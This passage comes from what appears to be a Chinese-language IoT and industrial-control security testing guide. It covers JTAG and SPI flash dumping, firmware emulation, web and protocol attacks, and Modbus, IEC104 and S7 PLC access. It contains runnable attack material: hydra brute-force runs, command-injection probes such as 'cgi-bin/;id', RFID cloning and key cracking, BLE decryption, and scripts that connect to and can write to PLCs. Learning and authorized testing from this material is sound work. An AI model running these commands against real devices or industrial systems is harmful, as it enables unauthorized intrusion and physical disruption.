target create $_TARGETNAME cortex_m -chain-position $_TARGETNAME
$_TARGETNAME configure -event reset-init { halt }
EOF
# 启动OpenOCD
sudo openocd -f openocd.cfg
# OpenOCD监听: 3333 (GDB), 4444 (telnet)
# 连接到OpenOCD telnet接口
telnet localhost 4444
> halt # 停止CPU
> dump_image firmware.bin 0x00000000 0x1000000 # dump Flash
> flash info 0 # 查看Flash信息
> mww 0x40018000 0x01 # 写内存
> mdw 0x20000000 16 # 读内存
> resume # 恢复运行
JTAGenum 扫描未知 JTAG 引脚:
# JTAGenum - 在未知引脚排列的PCB上自动发现JTAG接口
git clone https://github.com/cyphunk/JTAGenum.git
cd JTAGenum
# Arduino版本: 烧录到Arduino
# 使用Arduino连接PCB上的可疑引脚
# 运行扫描
python3 JTAGenum.py /dev/ttyUSB0
# 输出: TCK, TMS, TDI, TDO, TRST, nSRST 引脚排列
# 基于扫描结果配置OpenOCD连接
4.4 SPI Flash 读取
SPI Flash 是存储固件的最常见介质,可通过 flashrom 直接读取。
# 安装flashrom
sudo apt install flashrom
# 查看已识别的SPI Flash芯片
sudo flashrom --programmer linux_spi:dev=/dev/spidev0.0
# 读取SPI Flash(在线读取,不拆焊)
# 需要使用带SPI接口的编程器(如Raspberry Pi, CH341A, Tigard)
sudo flashrom -p linux_spi:dev=/dev/spidev0.0 \
-r firmware_dump.bin
# 使用CH341A编程器读取
sudo flashrom -p ch341a_spi -r firmware_dump.bin
# 验证读取完整性(读取两次对比)
sudo flashrom -p ch341a_spi -r firmware_dump1.bin
sudo flashrom -p ch341a_spi -r firmware_dump2.bin
diff firmware_dump1.bin firmware_dump2.bin # 应无差异
# 写入Flash(用于刷入修改后的固件)
sudo flashrom -p ch341a_spi -w modified_firmware.bin
# Raspberry Pi作为SPI编程器
# 接线:
# Pi MOSI(GPIO10) -> Flash DI
# Pi MISO(GPIO9) -> Flash DO
# Pi SCLK(GPIO11) -> Flash CLK
# Pi CE0(GPIO8) -> Flash CS
# Pi GND -> Flash GND
# Pi 3.3V -> Flash VCC (注意电压!)
# 启用Raspberry Pi SPI
sudo raspi-config # Interfacing Options -> SPI -> Enable
sudo modprobe spi-bcm2835
# 读取
sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 \
-r firmware_dump.bin
4.5 eMMC/NAND Dump
eMMC 和 NAND Flash 需要专用工具读取。
# eMMC读取方法1: 通过EDL(Qualcomm Emergency Download)模式
# 需要设备使用Qualcomm芯片
# 短接测试点到地,进入EDL模式
# 使用QPST/QFIL工具读取
# eMMC读取方法2: 使用eMMC读取座(ISP)
# 将eMMC芯片拆下放入读取座
# 通过USB eMMC读取器连接电脑
# eMMC读取方法3: ISP在线读取(不拆焊)
# 使用eMMC ISP接口连接
# 需要识别eMMC的DAT0, CMD, CLK, VCC, GND引脚
# 使用EasyJTAG/eMMC Pro等工具读取
# 输出为bin文件后用binwalk提取
# NAND Flash读取
# 使用NAND读取编程器(如ZifMaster, NAND Pro)
# 注意NAND可能包含OOB(Out-of-Band)数据和坏块
# 使用nanddump工具(在设备上运行)
nanddump -o /dev/mtd0 > nand_dump.bin
nanddump --bb=skipbad /dev/mtd0 > nand_skip_bad.bin
4.6 硬件工具表
| 工具 | 用途 | 价格区间 | 适用场景 |
|---|---|---|---|
| 万用表 | 电压/电阻/通断测试 | 30-200 | UART引脚识别 |
| 逻辑分析仪 | 数字信号采集分析 | 50-500 | UART/JTAG/SPI信号分析 |
| USB-TTL(CH340/CP2102) | UART串口连接 | 10-30 | UART Shell获取 |
| Bus Pirate | 多协议接口工具 | 30-50 | UART/SPI/I2C/JTAG |
| Attiny85 | 微控制器JTAG扫描 | 20-40 | JTAGenum引脚扫描 |
| Tigard | 多协议硬件工具 | 100-200 | UART/JTAG/SPI/SWD |
| JTAGulator | JTAG引脚自动发现 | 100-150 | 未知JTAG接口扫描 |
| CH341A编程器 | SPI Flash读写 | 10-20 | SPI Flash固件提取 |
| Raspberry Pi | SPI/I2C编程器 | 100-300 | SPI Flash/多用途 |
| 烙铁/热风枪 | 芯片拆焊 | 50-300 | Flash芯片拆卸 |
| 显微镜 | PCB检查/微焊 | 100-500 | 引脚识别 |
| SOIC测试夹 | SPI Flash在线读取 | 10-30 | 不拆焊读取Flash |
4.7 完整硬件攻击流程
#!/bin/bash
# hardware_attack_workflow.sh - 完整硬件攻击流程
echo "=== IoT设备硬件攻击流程 ==="
echo "[1] 信息收集与外观检查"
echo " - 拆开设备外壳,拍摄PCB正反面"
echo " - 识别芯片型号(Flash/CPU/射频芯片)"
echo " - 查找调试接口焊盘(UART/JTAG/SPI)"
echo "[2] UART攻击"
echo " - 识别UART引脚(TX/RX/GND)"
echo " - 连接USB-TTL,确定波特率"
echo " - 中断uboot启动,修改启动参数"
echo " - 获取root shell"
echo "[3] SPI Flash提取"
echo " - 识别SPI Flash芯片型号"
echo " - 使用SOIC测试夹在线读取"
echo " - 或拆焊后用编程器读取"
echo " - 使用flashrom读取完整固件"
echo " - 使用binwalk提取文件系统"
echo "[4] JTAG调试"
echo " - 使用JTAGenum扫描JTAG引脚"
echo " - 配置OpenOCD连接"
echo " - 通过JTAG读取内存/Flash"
echo " - 调试CPU,断点分析"
echo "[5] eMMC/NAND提取"
echo " - 识别存储芯片类型"
echo " - 通过ISP或拆焊方式读取"
echo " - 处理OOB和坏块数据"
echo "[6] 固件分析与漏洞挖掘"
echo " - 文件系统提取与浏览"
echo " - 硬编码凭据提取"
echo " - Web服务与CGI分析"
echo " - 二进制逆向分析"
echo " - QEMU模拟动态测试"
五、固件模拟与动态分析
5.1 QEMU 用户态模拟
用户态模拟运行单个二进制程序,速度最快,适合快速测试。
# 安装QEMU用户态
sudo apt install qemu-user qemu-user-static
# 运行MIPS小端程序
qemu-mipsel -L squashfs-root/ ./squashfs-root/bin/busybox ls
# 运行ARM程序
qemu-arm -L squashfs-root/ ./squashfs-root/usr/bin/httpd
# 运行时绑定端口(需要配合网络配置)
# 方法1: 修改配置文件中的监听端口
# 方法2: 使用socat转发
socat TCP-LISTEN:8080,fork,reuseaddr EXEC:"qemu-mipsel -L squashfs-root/ ./squashfs-root/bin/httpd"
# 调试模式
qemu-mipsel -g 1234 -L squashfs-root/ ./squashfs-root/usr/bin/httpd
# gdb-multiarch -ex "target remote :1234" -ex "file httpd"
# 运行CGI程序
qemu-mipsel -L squashfs-root/ \
REQUEST_METHOD="GET" \
QUERY_STRING="user=admin&pass=admin" \
./squashfs-root/www/cgi-bin/login.cgi
5.2 QEMU 系统态模拟
系统态模拟运行完整操作系统,可模拟整个设备环境。
# 获取ARM Debian镜像
wget https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
# 启动ARM系统
qemu-system-arm -M versatilepb \
-kernel vmlinuz-3.2.0-4-versatile \
-hda debian_wheezy_armel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyAMA0" \
-nographic \
-netdev user,id=net0,hostfwd=tcp::8080-:80 \
-device smc91c111,netdev=net0
# 启动MIPS系统
qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-5kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-nographic \
-netdev user,id=net0,hostfwd=tcp::8080-:80 \
-device e1000,netdev=net0
# 将固件文件系统注入QEMU系统
# 方法: 制作ext2镜像,包含固件rootfs
dd if=/dev/zero of=rootfs.img bs=1M count=100
mkfs.ext2 rootfs.img
sudo mount -o loop rootfs.img /mnt
sudo cp -a squashfs-root/* /mnt/
sudo umount /mnt
# QEMU挂载该镜像
qemu-system-mips -M malta -kernel vmlinux \
-hda rootfs.img \
-append "root=/dev/sda1 console=ttyS0" \
-nographic \
-netdev user,id=net0,hostfwd=tcp::8080-:80 \
-device e1000,netdev=net0
5.3 Firmadyne 自动化固件分析框架
Firmadyne 是一个自动化固件模拟和分析框架,支持完整系统模拟和漏洞扫描。
# 安装Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git
cd firmadyne
# 安装依赖
sudo apt install busybox-static fakeroot git dmsetup kpartx netcat-openbsd \
nmap python3 python3-pip qemu-system qemu-utils
pip3 install psycopg2-binary
# 配置PostgreSQL数据库
sudo apt install postgresql
sudo service postgresql start
sudo -u postgres createuser -P firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware -c "ALTER USER firmadyne WITH PASSWORD 'firmadyne';"
# 配置firmadyne
./scripts/setup.sh
# 编辑配置文件
cat > firmadyne.config << 'EOF'
export FIRMWARE_DIR=.
export FIRMWARE_WORKING_DIR=/firmadyne
export POSTGRES_USER=firmadyne
export POSTGRES_PASSWORD=firmadyne
export POSTGRES_DATABASE=firmware
EOF
# 完整自动化流程(单条命令)
./scripts/run.sh -e ./firmware.bin
# 分步执行:
# 1. 提取固件
./scripts/extractor.sh -e ./firmware.bin -d ./output
# 2. 识别架构和数据库导入
./scripts/identifier.sh -e ./output/firmware.bin
# 3. 构建镜像
./scripts/build.sh -e ./output/firmware.bin
# 4. 运行固件模拟
./scripts/run.qemu.sh -e ./output/firmware.bin
# 5. 获取IP地址
./scripts/getArch.sh -e ./output/firmware.bin
# 6. 网络扫描和漏洞检测
./scripts/nmap.sh -e ./output/firmware.bin
5.4 firmware-analysis-toolkit (FAT)
FAT 是 Firmadyne 的简化封装,提供更易用的接口。
# 安装FAT
git clone https://github.com/attifo/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
# 安装依赖
sudo ./setup.sh
# 配置fat.config
cat > fat.config << 'EOF'
FIRMWARE_PATH=./firmware.bin
QEMU_MEMORY=256M
HOST_IP=192.168.1.100
FIRMWARE_IP=192.168.1.1
EOF
# 运行模拟
./fat.py firmware.bin
# fat.py会自动:
# 1. binwalk提取固件
# 2. 识别架构
# 3. 构建QEMU镜像
# 4. 启动模拟
# 5. 获取IP
# 6. 网络扫描
5.5 EMUX/FirmAE 使用
EMUX(原ARM-X):
# EMUX - 嵌入式系统模拟框架
git clone https://github.com/therealsaumil/emux.git
cd emux
# 安装依赖
sudo apt install qemu-system-arm qemu-user-static bridge-utils
# 配置网桥
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.1/24 up
# 启动EMUX
sudo ./emux-start.sh
# 在EMUX中加载固件
# 编辑emux.conf指定固件路径
# 启动指定固件模拟
./emux-run.sh firmware_id
# 通过Web界面访问模拟设备
# http://192.168.2.2:8080
FirmAE:
# FirmAE - 改进的固件模拟框架
git clone https://github.com/firmadyne/FirmAE.git
cd FirmAE
# 安装依赖
./install.sh
# 预检查固件可模拟性
./run.sh -c ./firmware.bin
# 自动化模拟运行
./run.sh -a ./firmware.bin
# 分析模式(Nmap+Web扫描)
./run.sh -i ./firmware.bin
# 漏洞分析模式
./run.sh -v ./firmware.bin
5.6 固件 Web 界面测试
# 在固件成功模拟后,通过浏览器或curl测试Web界面
# 端口扫描
nmap -sT -p- 192.168.1.1
# Web服务探测
curl -v http://192.168.1.1/
nmap -sV -p 80,443,8080 192.168.1.1
# 目录爆破
dirb http://192.168.1.1/
gobuster dir -u http://192.168.1.1/ -w /usr/share/wordlists/dirb/common.txt
# Web漏洞扫描
nikto -h http://192.168.1.1/
# 使用Burp Suite代理测试
# 浏览器设置代理: 127.0.0.1:8080
# 手动浏览所有Web页面,捕获所有请求
# 默认凭据测试
hydra -L /usr/share/wordlists/users.txt \
-P /usr/share/wordlists/passwords.txt \
http-get://192.168.1.1/admin/
hydra -L users.txt -P pass.txt \
http-form-post "/login.cgi:user=^USER^&pass=^PASS^:F=incorrect"
5.7 固件网络服务测试
# Nmap全端口扫描
nmap -sT -sV -p- 192.168.1.1 -oA firmware_scan
# Nmap脚本扫描
nmap -sC -p 80,23,22,21,443,7547 192.168.1.1
# 针对IoT的Nmap脚本
nmap --script=iot-info,ipmi-cipher-zero,tr064-info -p 7547 192.168.1.1
# TR-069 CWMP测试
nmap --script=cwmp-info -p 7547 192.168.1.1
# UPnP测试
nmap --script=upnp-info -p 1900 192.168.1.1
upnp-client 192.168.1.1
# Telnet/SSH测试
nc 192.168.1.1 23
ssh root@192.168.1.1
# 自定义端口测试
for port in 23 2323 7547 5555 9999; do
echo "测试端口 $port:"
nc -zv 192.168.1.1 $port 2>&1
done
5.8 完整动态分析流程
#!/bin/bash
# dynamic_analysis_workflow.sh - 完整动态分析流程
FIRMWARE=$1
DEVICE_IP="192.168.1.1"
echo "=== 固件动态分析流程 ==="
echo "[1] 固件模拟"
echo " - 使用FirmAE自动模拟"
./run.sh -a $FIRMWARE
echo " - 设备IP: $DEVICE_IP"
echo "[2] 网络发现与扫描"
echo " - 端口扫描"
nmap -sT -sV -p- $DEVICE_IP -oA firmware_nmap
echo " - 服务版本识别"
nmap -sV -sC $DEVICE_IP
echo "[3] Web界面测试"
echo " - 目录爆破"
gobuster dir -u http://$DEVICE_IP/ -w /usr/share/wordlists/dirb/common.txt -o web_dirs.txt
echo " - Web漏洞扫描"
nikto -h http://$DEVICE_IP/ -o nikto_report.txt
echo " - 默认凭据测试"
hydra -L users.txt -P pass.txt http-get://$DEVICE_IP/admin/
echo "[4] 网络服务测试"
echo " - Telnet测试"
nc -zv $DEVICE_IP 23
echo " - SSH测试"
nc -zv $DEVICE_IP 22
echo " - UPnP测试"
nmap --script=upnp-info -p 1900 $DEVICE_IP
echo " - TR-069测试"
nmap --script=cwmp-info -p 7547 $DEVICE_IP
echo "[5] 协议测试"
echo " - MQTT测试"
nc -zv $DEVICE_IP 1883
echo " - Modbus测试"
nc -zv $DEVICE_IP 502
echo "[6] 漏洞验证"
echo " - 命令注入测试"
curl "http://$DEVICE_IP/cgi-bin/;id"
curl "http://$DEVICE_IP/cgi-bin/login.cgi?user=admin;id&pass=admin"
echo "动态分析完成"
六、IoT协议安全
6.1 MQTT 协议安全
MQTT 是 IoT 最流行的发布/订阅消息协议,但默认配置存在大量安全问题。
# 安装MQTT客户端工具
sudo apt install mosquitto-clients
pip3 install paho-mqtt
# 匿名连接测试(默认无认证)
mosquitto_sub -h 192.168.1.1 -p 1883 -t "#"
# 订阅所有主题(通配符订阅)
mosquitto_sub -h 192.168.1.1 -p 1883 -t "#" -v
# 订阅特定前缀
mosquitto_sub -h 192.168.1.1 -p 1883 -t "home/#" -v
mosquitto_sub -h 192.168.1.1 -p 1883 -t "sensor/+/temp" -v
# 发布消息测试
mosquitto_pub -h 192.168.1.1 -p 1883 -t "test/topic" -m "hello"
# 弱密码爆破
hydra -L users.txt -P pass.txt mqtt://192.168.1.1:1883
# 抓包分析明文传输
tcpdump -i any port 1883 -w mqtt_capture.pcap
wireshark mqtt_capture.pcap
# MQTT数据完全明文,可看到所有发布/订阅的消息
MQTT 安全漏洞:
| 漏洞类型 | 描述 | 影响 | 检测方法 |
|---|---|---|---|
| 匿名访问 | allow_anonymous=true | 任意客户端可连接 | 连接无需凭据 |
| 通配符订阅 | 订阅#主题 | 获取全部消息 | mosquitto_sub -t “#” |
| 明文传输 | 无TLS加密 | 中间人窃听 | Wireshark抓包 |
| 弱认证 | 默认admin/admin | 凭据可爆破 | hydra爆破 |
| ACL缺失 | 无主题权限控制 | 任意发布/订阅 | 尝试订阅敏感主题 |
| 明文密码 | MQTT v3.1明文密码 | 凭据泄露 | 抓包分析 |
| 会话劫持 | 无客户端认证 | 伪造设备身份 | 重复ClientID |
6.2 CoAP 协议安全
CoAP(Constrained Application Protocol)是为资源受限设备设计的轻量Web协议。
# 安装CoAP客户端
pip3 install aiocoap coapthon
# 使用libcoap客户端
sudo apt install libcoap3-dev
coap-client
# CoAP GET请求
coap-client -m get coap://192.168.1.1/.well-known/core
# CoAP POST请求
coap-client -m post -e "payload" coap://192.168.1.1/sensor
# CoAP PUT请求
coap-client -m put -e "new_value" coap://192.168.1.1/actuator
# 发现CoAP资源
coap-client coap://192.168.1.1/.well-known/core
# 扫描CoAP服务
nmap -sU -p 5683 --script=coap-info 192.168.1.1
# CoAP明文传输分析
tcpdump -i any udp port 5683 -w coap.pcap
wireshark coap.pcap
# CoAP默认不加密,DTLS可选但很少启用
6.3 ZigBee 安全
ZigBee 是基于 IEEE 802.15.4 的低功耗 mesh 网络协议。
# 硬件准备: Atmel RZUSBSTICK或KillerBee设备
# 安装KillerBee
git clone https://github.com/riverloopsec/killerbee.git
cd killerbee
sudo python3 setup.py install
# ZigBee网络发现
zbid -f
# ZigBee嗅探
zbstumbler -f
# 抓取ZigBee流量
zbdump -f
# 重放攻击
zbreplay -f capture.pcap
# 密钥提取(利用KillerBee + Atmel RZUSBSTICK)
# 方法1: 通过Touchlink密钥协商漏洞
# ZigBee 3.0之前的设备可能使用默认Touchlink密钥
# 默认密钥: 0102030405060708090a0b0c0d0e0f10
# 方法2: 通过安装码嗅探
# 在设备配对时嗅探安装码
# 方法3: 通过已知密钥数据库
# 使用Attify ZigBee Framework
pip3 install killerbee scapy
# ZigBee安全分析脚本
python3 << 'EOF'
from killerbee import *
from killerbee.zbdl import *
# 扫描ZigBee网络
kb = KillerBee()
for dev in kb.dev_list():
print(f"设备: {dev}")
# 设置信道扫描
kb.set_channel(11) # ZigBee信道11-26
kb.sniffer_on()
# 捕获数据包
while True:
pkt = kb.pnext()
if pkt:
print(f"捕获: {pkt}")
EOF
6.4 BLE 蓝牙安全
BLE(Bluetooth Low Energy)是可穿戴和健康设备最常用的无线协议。
# 安装BLE工具
sudo apt install bluez bluez-tools
pip3 install bleak pybluez scapy
# BLE扫描
hcitool lescan
# 使用bluetoothctl交互
bluetoothctl
[bluetooth]# scan on
[bluetooth]# devices
[bluetooth]# connect XX:XX:XX:XX:XX:XX
# GATT服务发现
gatttool -b XX:XX:XX:XX:XX:XX -I
[LE] > connect
[LE] > primary # 列出所有服务
[LE] > characteristics # 列出所有特征值
[LE] > char-desc # 列出所有描述符
[LE] > char-read-hnd 0x0001 # 读取句柄
[LE] > char-write-req 0x0012 0100 # 写入数据
# 使用Bettercap进行BLE攻击
sudo apt install bettercap
sudo bettercap -iface bluetooth0
> ble.recon on # BLE扫描
> ble.show # 显示设备
> ble.enum XX:XX:XX:XX:XX:XX # 枚举GATT服务
# BLE配对中间人
# 使用crackle破解BLE加密
pip3 install crackle
crackle -i capture.pcap # 从抓包中提取密钥
crackle -i capture.pcap -o decrypted.pcap # 解密流量
# 使用BtleJack进行BJACK攻击
pip3 install btlejack
btlejack -s # 扫描
btlejack -f # 跟随连接
6.5 Z-Wave 安全
# Z-Wave安全分析(需要Z-Wave适配器如Aeon Labs Z-Stick)
# 安装工具
pip3 install zwave
# Z-Wave网络嗅探
# 使用WireShark配合Z-Wave适配器
# Wireshark内置Z-Wave协议解析器
# Z-Wave降级攻击
# 旧版Z-Wave设备使用S0加密(密钥明文传输)
# 可在配对时嗅探网络密钥
# Z-Shave攻击(CVE-2019-9801)
# 利用S0协议的密钥传输漏洞
# 在设备配对时拦截并提取网络密钥
# 工具: Z-Wave PC Controller
# 用于网络管理和密钥管理
6.6 LoRaWAN 安全
# LoRaWAN安全分析(需要LoRa网关和节点)
# 安装工具
pip3 install chirpstack-api
# LoRaWAN安全机制:
# - Join Server: 处理设备入网
# - AppKey: 应用密钥(AES-128)
# - NwkKey: 网络密钥(AES-128)
# - AppSKey: 应用会话密钥
# - NwkSKey: 网络会话密钥
# 常见漏洞:
# 1. Join Request明文DevEUI
# 2. 重放攻击(需要消息计数器验证)
# 3. 密钥管理不当(硬编码AppKey)
# 使用LoRaWAN解析工具分析抓包
# Wireshark内置LoRaWAN协议解析
tcpdump -i any -w lorawan.pcap
wireshark lorawan.pcap
# Join Request/Response分析
# 检查DevNonce是否单调递增
# 验证MIC(Message Integrity Code)
6.7 RFID/NFC 安全
# RFID/NFC工具安装
sudo apt install pcscd libnfc-bin mfoc
# 读取RFID卡
nfc-list # 列出NFC设备
nfc-scan-device # 扫描设备
# 读取Mifare Classic卡
mfoc -O card_dump.mfd # 使用嵌套认证漏洞
# 使用Proxmark3
# 安装
git clone https://github.com/RfidResearchGroup/proxmark3.git
cd proxmark3
make clean && make
# Proxmark3命令
pm3 --> hf search # 搜索高频卡
pm3 --> hf mf info # 读取Mifare卡信息
pm3 --> hf mf dump # dump卡数据
pm3 --> lf search # 搜索低频卡
pm3 --> lf hid read # 读取HID卡
# Mifare Classic密钥攻击
# 使用CrackedMifare工具
# 1. 获取已知密钥
# 2. 嵌套认证攻击
# 3. 暴力破解PRNG
# 4. 克隆卡片
# NFC中间人攻击
# 使用ACR122U和nfc-mfultertool
nfc-mfclassic W A card_dump.mfd
6.8 IoT协议漏洞对照表
| 协议 | 端口 | 常见漏洞 | 攻击工具 | 防御建议 |
|---|---|---|---|---|
| MQTT | 1883/8883 | 匿名访问/通配符订阅/明文 | mosquitto-clients | 禁用匿名+ACL+TLS |
| CoAP | 5683/5684 | 无认证/明文/资源遍历 | coap-client | 启用DTLS+访问控制 |
| ZigBee | 2.4GHz | 密钥提取/重放/默认密钥 | KillerBee | 强密钥协商 |
| BLE | 2.4GHz | 配对漏洞/GATT遍历/MITM | crackle/btlejack | LE Secure Pairing |
| Z-Wave | 868/908MHz | 降级攻击/密钥嗅探 | Z-Stick | 强制S2加密 |
| LoRaWAN | 433/868/915MHz | 重放/密钥管理 | Wireshark | 正确密钥管理 |
| RFID/NFC | 13.56MHz | 密钥破解/克隆 | Proxmark3 | 使用高安全卡种 |
| Thread | 2.4GHz | 网络密钥泄露 | OpenThread | DTLS密钥更新 |
| Wi-Fi | 2.4/5GHz | 弱密码/WPS/KRACK | aircrack-ng | WPA3+禁WPS |
6.9 完整协议安全测试流程
#!/bin/bash
# iot_protocol_security_test.sh - IoT协议安全测试流程
TARGET=$1
echo "=== IoT协议安全测试 ==="
echo "[1] MQTT安全测试(1883)"
echo " - 匿名连接测试"
timeout 5 mosquitto_sub -h $TARGET -p 1883 -t "#" -v 2>&1 | head -20
echo " - 弱密码爆破"
timeout 10 hydra -L users.txt -P pass.txt -s 1883 $TARGET mqtt 2>&1
echo "[2] CoAP安全测试(5683)"
echo " - 资源发现"
timeout 5 coap-client coap://$TARGET/.well-known/core 2>&1
echo "[3] HTTP/HTTPS测试"
echo " - 端口扫描"
nmap -sT -p 80,443,8080,8081 $TARGET
echo " - Web漏洞扫描"
nikto -h http://$TARGET/ -Format txt -o nikto_report.txt 2>&1 | head -30
echo "[4] Telnet测试(23/2323)"
echo " - 端口检查"
nc -zv $TARGET 23 2>&1
nc -zv $TARGET 2323 2>&1
echo "[5] SSH测试(22)"
nc -zv $TARGET 22 2>&1
nmap -sV -p 22 $TARGET
echo "[6] UPnP测试(1900)"
nmap -sU --script=upnp-info -p 1900 $TARGET
echo "[7] TR-069 CWMP测试(7547)"
nmap -sC -p 7547 $TARGET
echo "[8] BLE测试"
echo " - BLE扫描"
timeout 10 hcitool lescan 2>&1 | head -20
echo "[9] 抓包分析"
echo " - 全端口抓包"
timeout 60 tcpdump -i any host $TARGET -w protocol_capture.pcap
echo " - 使用Wireshark分析: wireshark protocol_capture.pcap"
echo "IoT协议安全测试完成"
七、OT/ICS协议漏洞
7.1 Modbus TCP 安全分析
Modbus TCP 是最广泛使用的工业协议,但安全设计几乎为零。
# 安装Modbus工具
pip3 install pymodbus
sudo apt install libmodbus-dev
# Modbus TCP端口扫描
nmap -sT -p 502 --script=modbus-discover 192.168.1.1
# 读取保持寄存器(功能码03)
python3 << 'EOF'
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.1', port=502)
# Modbus无认证,直接连接
client.connect()
# 读取保持寄存器(功能码0x03)
# 从地址0开始读取10个寄存器,单元ID=1
result = client.read_holding_registers(0, 10, unit=1)
print(f"保持寄存器: {result.registers}")
# 读取输入寄存器(功能码0x04)
result = client.read_input_registers(0, 10, unit=1)
print(f"输入寄存器: {result.registers}")
# 读取线圈状态(功能码0x01)
result = client.read_coils(0, 10, unit=1)
print(f"线圈状态: {result.bits}")
# 写入单个线圈(功能码0x05)- 危险操作
# client.write_coil(0, True, unit=1)
# 写入单个寄存器(功能码0x06)- 危险操作
# client.write_register(0, 100, unit=1)
client.close()
EOF
# Modbus明文抓包
tcpdump -i any port 502 -w modbus.pcap
wireshark modbus.pcap
# Modbus完全明文: 无认证、无加密、无完整性校验
Modbus 安全漏洞:
| 漏洞类型 | 描述 | 功能码 | 影响 |
|---|---|---|---|
| 无认证 | 任意客户端可连接 | 所有 | 任意读写寄存器 |
| 无加密 | 明文传输 | 所有 | 中间人窃听/篡改 |
| 指令注入 | 写入恶意控制指令 | 05/06/15/16 | 物理设备控制 |
| 寄存器遍历 | 读取所有寄存器 | 03/04 | 敏感数据泄露 |
| 单元ID枚举 | 枚举所有从站 | 所有 | 设备发现 |
| 重放攻击 | 重放合法指令 | 所有 | 重复执行操作 |
| DoS | 异常功能码攻击 | 例外码 | 设备崩溃 |
7.2 DNP3 安全分析
# 安装DNP3工具
pip3 install dnp3-python
# DNP3端口扫描
nmap -sT -p 20000 --script=dnp3-enumerate 192.168.1.1
# DNP3通信测试
python3 << 'EOF'
from pydnp3 import opendnp3
# DNP3支持Secure Authentication v5
# 但多数部署不启用
# 读取模拟输入
# DNP3数据类型:
# - Binary Input (单点状态)
# - Analog Input (模拟量)
# - Counter (计数器)
# - Binary Output (控制输出)
# - Analog Output (控制值)
# DNP3无认证模式下的操作:
# 1. 读操作: 读取所有数据点
# 2. 写操作: 直接控制输出(危险)
# 3. 控制操作: 直发控制指令(极危险)
EOF
# DNP3抓包分析
tcpdump -i any port 20000 -w dnp3.pcap
wireshark dnp3.pcap
# 检查是否启用Secure Authentication v5
7.3 IEC 60870-5-104 安全分析
# IEC104是电力SCADA的核心协议
# 默认端口: 2404
# 端口扫描
nmap -sT -p 2404 192.168.1.1
# IEC104通信分析
# 使用Wireshark的IEC104解析器
tcpdump -i any port 2404 -w iec104.pcap
wireshark iec104.pcap
# IEC104安全漏洞:
# 1. 无认证: 任意客户端可建立连接
# 2. 无加密: 所有ASDU明文传输
# 3. 指令注入: 可发送遥控指令(ASDU Type 45/46)
# 4. 重放攻击: 可重放合法遥控指令
# IEC104关键ASDU类型:
# Type 1: 单点信息(遥信)
# Type 9: 测量值(遥测)
# Type 30: 双点信息
# Type 45: 单点命令(遥控)
# Type 46: 双点命令(遥控)
# Type 47: 调节命令
# 使用自定义脚本发送遥控指令(极度危险)
python3 << 'EOF'
# IEC104遥控指令注入示例(仅授权测试)
import socket
import struct
# 建立IEC104连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.1', 2404))
# 发送STARTDT(启动数据传输)
# APCVT格式: 起始字节0x68 + 长度 + 控制域
startdt = bytes.fromhex('68 04 07 00 00 00')
s.send(startdt)
# 接收确认
response = s.recv(1024)
print(f"响应: {response.hex()}")
# 发送遥控指令(Type 45 单点命令)
# ASDU格式: 类型标识 + 可变结构限定词 + 传送原因 + 公共地址 + 信息体
# 这里仅展示格式,实际测试需要正确的IOA和参数
s.close()
EOF
7.4 PROFINET 安全分析
# PROFINET基于以太网,使用RT(实时)和IRT(同步实时)通信
# 端口: 34962-34964 (PN-IO), 504 (PN-MRP)
# PN设备发现
nmap -sT -p 34962,34963,34964 192.168.1.1
# PROFINET DCP(发现和配置协议)
# 使用pnio工具
pip3 install pnio-python
# PROFINET安全漏洞:
# 1. DCP无认证: 可重命名设备、修改IP
# 2. PN-RT无认证: 可注入控制报文
# 3. 明文传输: 可嗅探所有IO数据
# 4. MRP环网攻击: 可破坏冗余环网
# PROFINET DCP攻击(修改设备名)
python3 << 'EOF'
# DCP Set Request可以修改设备配置
# 包括: 设备名、IP地址、子网掩码、网关
# 无需认证,可直接修改
# 危险: 可导致设备离线或IP冲突
# PROFINET MRP环网攻击
# 发送MRP拓扑变更报文
# 可导致环网重构或端口阻塞
EOF
7.5 EtherNet/IP 安全分析
# EtherNet/IP基于CIP(Common Industrial Protocol)
# 端口: 44818 (显式消息), 2222 (隐式消息)
# EtherNet/IP设备发现
nmap -sT -p 44818 --script=enip-info 192.168.1.1
# 使用Python CIP工具
pip3 install cpppo
# 读取CIP数据
python3 -m cpppo.server.enip -a 192.168.1.1
# EtherNet/IP安全漏洞:
# 1. 无认证: CIP协议无内置认证机制
# 2. 明文传输: 所有CIP消息明文
# 3. 指令注入: 可发送控制指令
# 4. 设备信息泄露: 可读取设备型号、序列号
# CIP关键服务:
# 0x01: 获取属性
# 0x05: 状态
# 0x0E: 读取标签数据
# 0x10: 写入标签数据
# 使用Ethernet/IP读取PLC数据
python3 << 'EOF'
from cpppo.server.enip import client
# 连接EtherNet/IP设备
with client(host='192.168.1.1', port=44818) as conn:
# 读取CIP标识
identity = conn.read_attribute_service(1, 1)
print(f"设备标识: {identity}")
# 读取控制器标签
tag = conn.read_tag('@data')
print(f"标签数据: {tag}")
# 写入标签(危险操作)
# conn.write_tag('@data', 100)
EOF
7.6 S7Comm 安全分析
# S7Comm是Siemens S7 PLC的专有协议
# 端口: 102 (ISO-on-TCP)
# S7设备发现
nmap -sT -p 102 --script=s7-info 192.168.1.1
# 使用snap7库
pip3 install snap7
# 读取S7 PLC数据
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.1', 0, 1) # IP, rack, slot
# 读取DB块数据
data = client.db_read(1, 0, 10) # DB号, 偏移, 长度
print(f"DB1数据: {data.hex()}")
# 读取输入区
inputs = client.read_area(snap7.types.Areas.PE, 0, 0, 10)
print(f"输入区: {inputs.hex()}")
# 读取输出区
outputs = client.read_area(snap7.types.Areas.PA, 0, 0, 10)
print(f"输出区: {outputs.hex()}")
# 写入输出区(危险操作)
# client.write_area(snap7.types.Areas.PA, 0, 0, bytes([1,0,1,0]))
client.disconnect()
EOF
